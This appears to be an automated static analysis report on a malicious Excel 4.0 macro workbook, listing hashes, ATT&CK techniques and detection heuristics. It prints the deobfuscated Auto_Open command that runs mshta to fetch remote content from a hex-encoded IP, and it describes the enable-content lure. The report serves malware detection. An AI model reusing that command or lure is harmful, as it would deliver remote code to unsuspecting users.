Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 23c5e9a158c12243…

MALICIOUS

Office (OLE) / .XLS

64.3 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: eefa07386b6b849025890ae472376bcf SHA-1: ca0169c548edc2b658af2930653ef6dd7536b287 SHA-256: 23c5e9a158c12243e9bc47ad7416329bcbf5510a42cdb43bc12d9b49a5b19a8e
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204 Malicious Link T1204.002 Malicious Link: Malicious File T1059 Command and Scripting Interpreter T1059.003 Command and Scripting Interpreter: Windows Command Shell

The sample is an Excel 4.0 macro-enabled spreadsheet. It contains an Auto_Open macro that is configured to execute a command. The command reconstructs to 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which indicates it will attempt to download a file from the specified URL using mshta. The document body explicitly prompts the user to 'Enable Editing' and 'Enable Content', which is a common lure to bypass macro security settings and facilitate the execution of the embedded macro.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes